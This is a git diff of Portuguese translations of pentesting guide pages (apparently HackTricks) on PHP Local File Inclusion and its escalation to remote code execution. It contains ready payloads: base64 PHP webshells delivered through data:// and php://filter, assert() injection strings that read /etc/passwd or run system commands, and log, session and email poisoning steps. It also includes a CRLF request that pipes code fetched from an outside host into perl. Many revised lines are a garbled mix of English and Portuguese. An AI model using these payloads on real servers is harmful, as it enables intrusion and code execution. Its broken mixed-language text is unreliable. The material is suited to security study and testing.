leak o número. -- O problema final é ver **como leak mais do que a letra inicial**. Usando filtros de ordem de memória como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** é possível alterar a ordem dos chars e trazer para a primeira posição outras letras do texto. -- E para poder obter **dados adicionais** a ideia é **gerar 2 bytes de junk data no início** com **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para fazê-los **pivotarem com os próximos 2 bytes**, e d**eletar os dados até o junk data** (isso removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até chegar ao bit desejado para leak. +- Quando o char inicial é um número é necessário fazer base64 encode dele e leak as 2 primeiras letras para leak o número. +- The final problem is to see **how to leak more than the initial letter**. Usando filtros de ordem de memória como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** é possível trocar a ordem dos chars e trazer para a primeira posição outras letras do texto. +- E para conseguir **further data** a ideia é **gerar 2 bytes de junk data no início** com **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para fazê-los **pivot with the next 2 bytes**, e **delete the data until the junk data** (isso removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até alcançar o bit desejado para leak. -No post uma ferramenta para executar isso automaticamente também foi leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). +No post também foi leaked uma ferramenta para automatizar isso: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). ### php://fd -This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files: +Esse wrapper permite acessar file descriptors que o processo tem abertos. Potentially useful to exfiltrate the content of opened files: ```php echo file_get_contents("php://fd/3"); $myfile = fopen("/etc/passwd", "r"); ``` -Você também pode usar **php://stdin, php://stdout e php://stderr** para acessar os **descritores de arquivo 0, 1 e 2** respectivamente (não tenho certeza de como isso poderia ser útil em um ataque) +Você também pode usar **php://stdin, php://stdout and php://stderr** para acessar os **file descriptors 0, 1 and 2** respectivamente (não tenho certeza de como isso poderia ser útil em um attack) -### zip:// e rar:// +### zip:// and rar:// Faça upload de um arquivo Zip ou Rar com um PHPShell dentro e acesse-o.\ -Para poder abusar do protocolo rar, ele **precisa ser ativado especificamente**. +Para poder abusar do protocolo rar ele **precisa ser ativado especificamente**. ```bash echo "
" > payload.php; zip payload.zip payload.php; @@ -328,7 +328,7 @@ http://example.net/?page=data:text/plain, http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is "" ``` -Note que este protocolo é restrito pelas configurações do php **`allow_url_open`** e **`allow_url_include`** +Observe que este protocolo é restrito pelas configurações do php **`allow_url_open`** e **`allow_url_include`** ### expect:// @@ -345,7 +345,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "addFromString('test.txt', 'text'); $phar->setStub(''); $phar->stopBuffering(); ``` -Para compilar o arquivo `.phar`, deve ser executado o seguinte comando: +Para compilar o arquivo `.phar`, o seguinte comando deve ser executado: ```bash php --define phar.readonly=0 create_path.php ``` -Após a execução, um arquivo chamado `test.phar` será criado, o que pode potencialmente ser aproveitado para explorar vulnerabilidades de Local File Inclusion (LFI). +Upon execution, a file named `test.phar` will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities. -Nos casos em que o LFI apenas realiza leitura de arquivos sem executar o código PHP contido, através de funções como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` ou `filesize()`, pode-se tentar explorar uma deserialization vulnerability. Essa vulnerabilidade está associada à leitura de arquivos usando o protocolo `phar`. +Em casos onde o LFI apenas realiza leitura de arquivos sem executar o código PHP contido, através de funções como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, or `filesize()`, a exploração de uma vulnerabilidade de deserialização pode ser tentada. Essa vulnerabilidade está associada à leitura de arquivos usando o protocolo `phar`. -Para uma compreensão detalhada sobre a exploração de deserialization vulnerabilities no contexto de arquivos `.phar`, consulte o documento linkado abaixo: +For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below: -[Phar Deserialization Exploitation Guide](phar-deserialization.md) +[Guia de Exploração de Deserialização em Phar](phar-deserialization.md) {{#ref}} @@ -373,36 +373,36 @@ phar-deserialization.md ### CVE-2024-2961 -Foi possível abusar de **any arbitrary file read from PHP that supports php filters** para obter um RCE. A descrição detalhada pode ser [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1).\ -Resumo muito rápido: um **3 byte overflow** no heap do PHP foi abusado para **alter the chain of free chunks** de um tamanho específico a fim de conseguir **write anything in any address**, então foi adicionado um hook para chamar **`system`**.\ -Foi possível alloc chunks de tamanhos específicos abusando de mais php filters. +Foi possível abusar de **any arbitrary file read from PHP that supports php filters** para obter uma RCE. A descrição detalhada pode ser [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ +Muito rápido resumo: um **overflow de 3 bytes** no heap do PHP foi abusado para **alterar a cadeia de free chunks** de um tamanho específico a fim de poder **escrever qualquer coisa em qualquer endereço**, então um hook foi adicionado para chamar **`system`**.\ +Foi possível alocar chunks de tamanhos específicos abusando mais php filters. -### More protocols +### Mais protocolos -Confira mais possíveis[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:** +Consulte mais [**protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:** -- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack) -- [file://](https://www.php.net/manual/en/wrappers.file.php) — Acessar sistema de arquivos local -- [http://](https://www.php.net/manual/en/wrappers.http.php) — Acessar URLs HTTP(s) -- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Acessar URLs FTP(s) +- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escreve em memória ou em um arquivo temporário (não tenho certeza de como isso pode ser útil em um ataque de file inclusion) +- [file://](https://www.php.net/manual/en/wrappers.file.php) — Acessando o sistema de arquivos local +- [http://](https://www.php.net/manual/en/wrappers.http.php) — Acessando URLs HTTP(s) +- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Acessando URLs FTP(s) - [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Fluxos de compressão -- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Find pathnames matching pattern (It doesn't return nothing printable, so not really useful here) +- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Encontra nomes de caminhos que correspondem a um padrão (Não retorna nada imprimível, então não é realmente útil aqui) - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2 -- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Not useful to read arbitrary files) +- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Fluxos de áudio (Não é útil para ler arquivos arbitrários) ## LFI via PHP's 'assert' -Os riscos de Local File Inclusion (LFI) em PHP são notavelmente altos quando se lida com a função 'assert', que pode executar código contido em strings. Isso é particularmente problemático se uma entrada contendo caracteres de directory traversal como ".." estiver sendo verificada mas não devidamente sanitizada. +Local File Inclusion (LFI) risks in PHP are notably high when dealing with the 'assert' function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like ".." is being checked but not properly sanitized. -Por exemplo, código PHP pode ser projetado para prevenir directory traversal da seguinte forma: +For example, PHP code might be designed to prevent directory traversal like so: ```bash assert("strpos('$file', '..') === false") or die(""); ``` -Embora isso vise impedir traversal, cria inadvertidamente um vetor para code injection. Para explorar isso e ler o conteúdo de arquivos, um atacante poderia usar: +Embora isso vise impedir traversal, cria inadvertidamente um vetor para code injection. Para explorar isso para leitura do conteúdo de arquivos, um attacker poderia usar: ```plaintext ' and die(highlight_file('/etc/passwd')) or ' ``` -Da mesma forma, para executar comandos arbitrários do sistema, pode-se usar: +De forma similar, para executar comandos arbitrários do sistema, pode-se usar: ```plaintext ' and die(system("id")) or ' ``` @@ -413,36 +413,36 @@ Da mesma forma, para executar comandos arbitrários do sistema, pode-se usar: > [!WARNING] > Esta técnica é relevante em casos onde você **controla** o **caminho do arquivo** de uma **função PHP** que irá **acessar um arquivo** mas você não verá o conteúdo do arquivo (como uma chamada simples para **`file()`**) porque o conteúdo não é mostrado. -Em [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) é explicado como um blind path traversal pode ser abusado via PHP filter para exfiltrar o conteúdo de um arquivo via um error oracle. +Em [**este post incrível**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) é explicado como um blind path traversal pode ser abusado via PHP filter para **exfiltrate the content of a file via an error oracle**. -Em resumo, a técnica usa a codificação **"UCS-4LE"** para tornar o conteúdo de um arquivo tão **grande** que a **função PHP que abre** o arquivo vai disparar um **erro**. +Em resumo, a técnica usa a codificação **"UCS-4LE"** para tornar o conteúdo de um arquivo tão **grande** que a **função PHP que abre** o arquivo disparará um **erro**. -Depois, para causar o leak do primeiro caractere, o filtro **`dechunk`** é usado junto com outros como **base64** ou **rot13** e finalmente os filtros **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** são usados para colocar outros chars no início e causar o leak desses caracteres. +Então, para leak o primeiro char o filter **`dechunk`** é usado junto com outros como **base64** ou **rot13** e, finalmente, os filtros **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** são usados para **colocar outros chars no início e leak them**. Funções que podem ser vulneráveis: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` -Para os detalhes técnicos, veja o post mencionado! +Para os detalhes técnicos confira o post mencionado! ## LFI2RCE ### Arbitrary File Write via Path Traversal (Webshell RCE) -Quando código server-side que ingere/carrega arquivos constrói o caminho de destino usando dados controlados pelo usuário (por exemplo, um filename ou URL) sem canonicalizar e validar, segmentos `..` e caminhos absolutos podem escapar do diretório pretendido e causar uma gravação arbitrária de arquivo. Se você conseguir colocar o payload em um diretório exposto pela web, normalmente obtém RCE não autenticado ao dropar um webshell. +When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell. Fluxo típico de exploração: -- Identificar uma primitiva de escrita em um endpoint ou worker em background que aceite um path/filename e escreva conteúdo no disco (por exemplo, message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.). -- Determine os diretórios expostos na web. Exemplos comuns: +- Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.). +- Determine web-exposed directories. Common examples: - Apache/PHP: `/var/www/html/` - Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp` - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` -- Construa um caminho com traversal que saia do diretório de armazenamento pretendido para o webroot e inclua o conteúdo do seu webshell. -- Navegue até o payload dropado e execute comandos. +- Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content. +- Browse to the dropped payload and execute commands. Notas: -- O serviço vulnerável que realiza a escrita pode escutar em uma porta não-HTTP (por exemplo, um JMF XML listener em TCP 4004). O portal web principal (porta diferente) servirá depois o seu payload. -- Em stacks Java, essas gravações de arquivo são frequentemente implementadas com concatenação simples de `File`/`Paths`. A falta de canonicalização/allow-listing é a falha central. +- The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload. +- Em stacks Java, essas escritas de arquivo são frequentemente implementadas com simples concatenação de `File`/`Paths`. A falta de canonicalisation/allow-listing é a falha central. -Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal): +Exemplo genérico estilo XML/JMF (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal): ```xml @@ -466,25 +466,25 @@ in.transferTo(out); ``` -Hardening that defeats this class of bugs: -- Resolva para um caminho canônico e faça cumprir que seja descendente de um diretório base allow-listed. -- Rejeite qualquer caminho que contenha `..`, raízes absolutas, ou letras de drive; prefira nomes de arquivo gerados. -- Execute o writer como uma conta de baixo privilégio e segregue diretórios de escrita dos roots servidos. +Mitigações que derrotam essa classe de bugs: +- Resolva para um caminho canônico e garanta que ele seja descendente de um diretório base allow-listed. +- Rejeite qualquer caminho contendo `..`, raízes absolutas, ou letras de unidade; prefira nomes de arquivo gerados. +- Execute o writer como uma conta com poucos privilégios e segregue os diretórios de escrita das raízes servidas. ## Remote File Inclusion -Explained previously, [**follow this link**](#remote-file-inclusion). +Explicado anteriormente, [**siga este link**](#remote-file-inclusion). ### Via Apache/Nginx log file -Se o servidor Apache ou Nginx for **vulnerable to LFI** dentro da função include você pode tentar acessar **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, colocar no **user agent** ou em um **GET parameter** um php shell like **``** e incluir esse arquivo +Se o servidor Apache ou Nginx estiver **vulnerável a LFI** na função include você pode tentar acessar **`/var/log/apache2/access.log` ou `/var/log/nginx/access.log`**, inserir no **user agent** ou em um **GET parameter** um php shell como **``** e incluir esse arquivo > [!WARNING] -> Note that **if you use double quotes** for the shell instead of **simple quotes**, the double quotes will be modified for the string "_**quote;**_", **PHP will throw an error** there and **nothing else will be executed**. +> Observe que **se você usar aspas duplas** para o shell em vez de **aspas simples**, as aspas duplas serão modificadas para a string "_**quote;**_", **o PHP gerará um erro** ali e **nada mais será executado**. > -> Also, make sure you **write correctly the payload** or PHP will error every time it tries to load the log file and you won't have a second opportunity. +> Além disso, certifique-se de **escrever corretamente o payload** ou o PHP dará erro toda vez que tentar carregar o arquivo de log e você não terá uma segunda oportunidade. -Isto também pode ser feito em outros logs mas **tenha cuidado,** o código dentro dos logs pode estar URL encoded e isso pode destruir o Shell. O header **authorisation "basic"** contém "user:password" em Base64 e ele é decodificado dentro dos logs. O PHPShell could be inserted inside this header.\ +Isto também pode ser feito em outros logs, mas **cuidado,** o código dentro dos logs pode estar URL encoded e isso pode destruir a Shell. O header **authorisation "basic"** contém "user:password" em Base64 e isso é decodificado dentro dos logs. A PHPShell pode ser inserida dentro desse header.\ Outros possíveis caminhos de log: ```python /var/log/apache2/access.log @@ -501,42 +501,42 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin ### Via Email -**Enviar um e-mail** para uma conta interna (user@localhost) contendo seu payload em PHP como `` e tente incluir o e-mail do usuário com um caminho como **`/var/mail/`** ou **`/var/spool/mail/`** +**Envie um e-mail** para uma conta interna (user@localhost) contendo seu payload PHP como `` e tente incluir o e-mail do usuário usando um caminho como **`/var/mail/`** ou **`/var/spool/mail/`** ### Via /proc/\*/fd/\* -1. Faça upload de muitos shells (por exemplo: 100) -2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), com $PID = PID do processo (pode ser brute forced) e $FD o descritor de arquivo (pode ser brute forced também) +1. Faça upload de muitas shells (por exemplo: 100) +2. Inclua [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), com $PID = PID do processo (pode ser brute forced) e $FD o file descriptor (também pode ser brute forced) ### Via /proc/self/environ -Como um arquivo de log, envie o payload no User-Agent, ele será refletido dentro do arquivo /proc/self/environ +Como um arquivo de log, envie o payload no User-Agent; ele será refletido dentro do arquivo /proc/self/environ ``` GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` ### Via upload -Se você puder fazer upload de um arquivo, basta injetar o shell payload nele (por exemplo: ``). +Se você conseguir fazer upload de um arquivo, apenas injete o shell payload nele (e.g : `` ). ``` http://example.com/index.php?page=path/to/uploaded/file.png ``` -Para manter o arquivo legível, é melhor injetar nos metadados das imagens/doc/pdf +Para manter o arquivo legível, é melhor injetar nos metadados das pictures/doc/pdf -### Via upload de arquivo ZIP +### Via upload de arquivo Zip -Faça upload de um arquivo ZIP contendo um PHP shell comprimido e acesse: +Faça upload de um arquivo ZIP contendo um PHP shell compactado e acesse: ```python example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php ``` -### Via sessões PHP +### Através de sessões PHP Verifique se o site usa sessão PHP (PHPSESSID) ``` Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly ``` -No PHP, essas sessões são armazenadas nos arquivos _/var/lib/php5/sess\\_\[PHPSESSID]\_. +No PHP, essas sessões são armazenadas em arquivos _/var/lib/php5/sess\\_\[PHPSESSID]\_ ``` /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; @@ -551,18 +551,18 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s ``` ### Via ssh -Se o ssh estiver ativo, verifique qual usuário está sendo usado (/proc/self/status & /etc/passwd) e tente acessar **\/.ssh/id_rsa** +Se ssh estiver ativo verifique qual usuário está sendo usado (/proc/self/status & /etc/passwd) e tente acessar **\/.ssh/id_rsa** ### **Via** **vsftpd** _**logs**_ -Os logs do servidor FTP vsftpd estão localizados em _**/var/log/vsftpd.log**_. No cenário em que exista uma vulnerabilidade Local File Inclusion (LFI), e seja possível acessar um servidor vsftpd exposto, os seguintes passos podem ser considerados: +Os logs do servidor FTP vsftpd estão localizados em _**/var/log/vsftpd.log**_. No cenário em que exista uma vulnerabilidade Local File Inclusion (LFI) e seja possível acessar um servidor vsftpd exposto, os seguintes passos podem ser considerados: -1. Injetar um payload PHP no campo username durante o processo de login. +1. Injete um payload PHP no campo username durante o processo de login. 2. Após a injeção, utilize a LFI para recuperar os logs do servidor em _**/var/log/vsftpd.log**_. ### Via php base64 filter (using base64) -Como mostrado neste [artigo](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64), o filtro PHP base64 ignora Non-base64. Você pode usar isso para contornar a verificação da extensão de arquivo: se fornecer base64 que termine com ".php", ele simplesmente ignora o "." e anexa "php" ao base64. Aqui está um payload de exemplo: +As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with ".php", and it would just ignore the "." and append "php" to the base64. Here is an example payload: ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php @@ -570,7 +570,7 @@ NOTE: the payload is "" ``` ### Via php filters (sem arquivo necessário) -This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que você pode usar **php filters to generate arbitrary content** como saída. O que basicamente significa que você pode **generate arbitrary php code** para o include **without needing to write** em um arquivo. +This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que você pode usar **php filters para gerar conteúdo arbitrário** como saída. O que basicamente significa que você pode **gerar código php arbitrário** para o include **sem precisar escrevê-lo** em um arquivo. {{#ref}} @@ -579,16 +579,16 @@ lfi2rce-via-php-filters.md ### Via segmentation fault -**Envie** um arquivo que será armazenado como **temporário** em `/tmp`, então na **mesma request,** provoque um **segmentation fault**, e então o **arquivo temporário não será deletado** e você pode procurá-lo. +Upload um arquivo que será armazenado como **temporário** em `/tmp`, então na **mesma requisição** provoque um **segmentation fault**, e então o **arquivo temporário não será deletado** e você poderá procurá-lo. {{#ref}} lfi2rce-via-segmentation-fault.md {{#endref}} -### Via Nginx temp file storage +### Via Nginx armazenamento de arquivos temporários -Se você encontrou uma **Local File Inclusion** e o **Nginx** está rodando na frente do PHP, você pode ser capaz de obter RCE com a seguinte técnica: +Se você encontrou uma **Local File Inclusion** e **Nginx** está rodando na frente do PHP, você talvez consiga obter RCE com a seguinte técnica: {{#ref}} @@ -597,7 +597,7 @@ lfi2rce-via-nginx-temp-files.md ### Via PHP_SESSION_UPLOAD_PROGRESS -Se você encontrou uma **Local File Inclusion** mesmo que você **não tenha uma session** e `session.auto_start` esteja `Off`. Se você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** em dados **multipart POST**, o PHP irá **ativar a session para você**. Você poderia abusar disso para obter RCE: +Se você encontrou uma **Local File Inclusion** mesmo que você **não tenha uma session** e `session.auto_start` esteja `Off`. Se você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** em dados **multipart POST**, o PHP irá **ativar a sessão para você**. Você pode abusar disso para obter RCE: {{#ref}} @@ -606,7 +606,7 @@ via-php_session_upload_progress.md ### Via temp file uploads in Windows -Se você encontrou uma **Local File Inclusion** e o servidor está rodando em **Windows** você pode obter RCE: +Se você encontrou uma **Local File Inclusion** e o servidor está rodando em **Windows** você pode conseguir RCE: {{#ref}} @@ -615,13 +615,13 @@ lfi2rce-via-temp-file-uploads.md ### Via `pearcmd.php` + URL args -As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). +As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), o script `/usr/local/lib/phppearcmd.php` existe por padrão em php docker images. Além disso, é possível passar argumentos para o script via URL porque é indicado que se um parâmetro de URL não tiver um `=`, ele deve ser usado como argumento. Veja também [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) e [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). The following request create a file in `/tmp/hello.php` with the content ``: ```bash GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/hello.php HTTP/1.1 ``` -O que segue abusa de uma CRLF vuln para obter RCE (a partir de [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): +O seguinte abusa de uma CRLF vuln para obter RCE (from [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a @@ -630,7 +630,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php ``` ### Via phpinfo() (file_uploads = on) -Se você encontrou um **Local File Inclusion** e um arquivo expondo **phpinfo()** com file_uploads = on, você pode obter RCE: +Se você encontrou uma **Local File Inclusion** e um arquivo expondo **phpinfo()** com file_uploads = on, você pode obter RCE: {{#ref}} @@ -639,7 +639,7 @@ lfi2rce-via-phpinfo.md ### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure -Se você encontrou um **Local File Inclusion** e você **pode exfiltrate the path** do arquivo temporário MAS o **server** está **checking** se o **arquivo a ser incluído tem PHP marks**, você pode tentar contornar essa verificação com esta **Race Condition**: +Se você encontrou uma **Local File Inclusion** e **puder exfiltrar o path** do arquivo temporário MAS o **server** está **checando** se o **arquivo a ser incluído tem PHP marks**, você pode tentar **bypassar essa checagem** com esta **Race Condition**: {{#ref}} @@ -648,7 +648,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md ### Via eternal waiting + bruteforce -Se você puder abusar do LFI para fazer o upload de arquivos temporários e fazer o servidor **hang** a execução do PHP, você pode então **brute force** nomes de arquivo por horas para encontrar o arquivo temporário: +Se você puder abusar do LFI para **upload temporary files** e fazer o **server** **hang** a execução do PHP, você poderia então **brute force filenames durante horas** para encontrar o arquivo temporário: {{#ref}} @@ -657,10 +657,10 @@ lfi2rce-via-eternal-waiting.md ### To Fatal Error -If you include any of the files `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (You need to include the same one 2 time to throw that error). +Se você incluir qualquer um dos arquivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Você precisa incluir o mesmo uma 2 vezes para lançar esse erro). -**Eu não sei como isso é útil, mas pode ser.**\ -_Mesmo se você causar um PHP Fatal Error, os arquivos temporários do PHP enviados são deletados._ +**Não sei quão útil isso é, mas pode ser.**\ +_Mesmo que você cause um PHP Fatal Error, os arquivos temporários do PHP enviados são deletados._
@@ -673,6 +673,7 @@ _Mesmo se você causar um PHP Fatal Error, os arquivos temporários do PHP envia - [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) - [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/) - [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) {{#file}} EN-Local-File-Inclusion-1.pdf diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md index 5ebc86201..179056c4b 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md @@ -2,36 +2,37 @@ {{#include ../../banners/hacktricks-training.md}} -## Intro -Este [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que você pode usar **filtros php para gerar conteúdo arbitrário** como saída. O que basicamente significa que você pode **gerar código php arbitrário** para o include **sem precisar escrevê-lo** em um arquivo. +## Introdução -Basicamente, o objetivo do script é **gerar uma string Base64** no **início** do arquivo que será **finalmente decodificada**, fornecendo a carga útil desejada que será **interpretada por `include`**. +This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file. -As bases para fazer isso são: +Basicamente o objetivo do script é **gerar uma string Base64** no **início** do arquivo que será **finalmente decodificada**, fornecendo o payload desejado que será **interpretado por `include`**. -- `convert.iconv.UTF8.CSISO2022KR` sempre irá adicionar `\x1b$)C` à string -- `convert.base64-decode` é extremamente tolerante, basicamente ignorará qualquer caractere que não seja base64 válido. Ele apresenta alguns problemas se encontrar "=" inesperados, mas esses podem ser removidos com o filtro `convert.iconv.UTF8.UTF7`. +Os fundamentos para fazer isso são: + +- `convert.iconv.UTF8.CSISO2022KR` will always prepend `\x1b$)C` to the string +- `convert.base64-decode` is extremely tolerant, it will basically just ignore any characters that aren't valid base64. It gives some problems if it finds unexpected "=" but those can be removed with the `convert.iconv.UTF8.UTF7` filter. O loop para gerar conteúdo arbitrário é: -1. adicionar `\x1b$)C` à nossa string como descrito acima -2. aplicar uma cadeia de conversões iconv que mantém nosso base64 inicial intacto e converte a parte que acabamos de adicionar para alguma string onde o único caractere base64 válido é a próxima parte do nosso código php codificado em base64 -3. base64-decodificar e base64-encodar a string, o que removerá qualquer lixo no meio -4. Voltar ao passo 1 se o base64 que queremos construir ainda não estiver terminado -5. base64-decodificar para obter nosso código php +1. prepend `\x1b$)C` to our string as described above +2. apply some chain of iconv conversions that leaves our initial base64 intact and converts the part we just prepended to some string where the only valid base64 char is the next part of our base64-encoded php code +3. base64-decode and base64-encode the string which will remove any garbage in between +4. Go back to 1 if the base64 we want to construct isn't finished yet +5. base64-decode to get our php code > [!WARNING] -> **Includes** geralmente fazem coisas como **adicionar ".php" no final** do arquivo, o que pode dificultar a exploração disso porque você precisaria encontrar um arquivo .php com um conteúdo que não quebre a exploração... ou você **poderia apenas usar `php://temp` como recurso** porque pode **ter qualquer coisa adicionada ao nome** (como +".php") e ainda permitirá que a exploração funcione! +> **Includes** usually do things like **appending ".php" at the end** of the file, which could diffecult the exploitation of this because you would need to find a .php file with a content that does't kill the exploit... or you **could just use `php://temp` as resource** because it can **have anything appended in the name** (lie +".php") and it will still allow the exploit to work! -## Como adicionar também sufixos aos dados resultantes +## Como também adicionar sufixos aos dados resultantes -[**Este writeup explica**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) como você ainda pode abusar dos filtros PHP para adicionar sufixos à string resultante. Isso é ótimo caso você precise que a saída tenha algum formato específico (como json ou talvez adicionando alguns bytes mágicos PNG) +[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) how you can still abuse PHP filters to add suffixes to the resulting string. This is great in case you need the output to have some specific format (like json or maybe adding some PNG magic bytes) ## Ferramentas Automáticas - [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator) -- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(pode adicionar sufixos)** +- 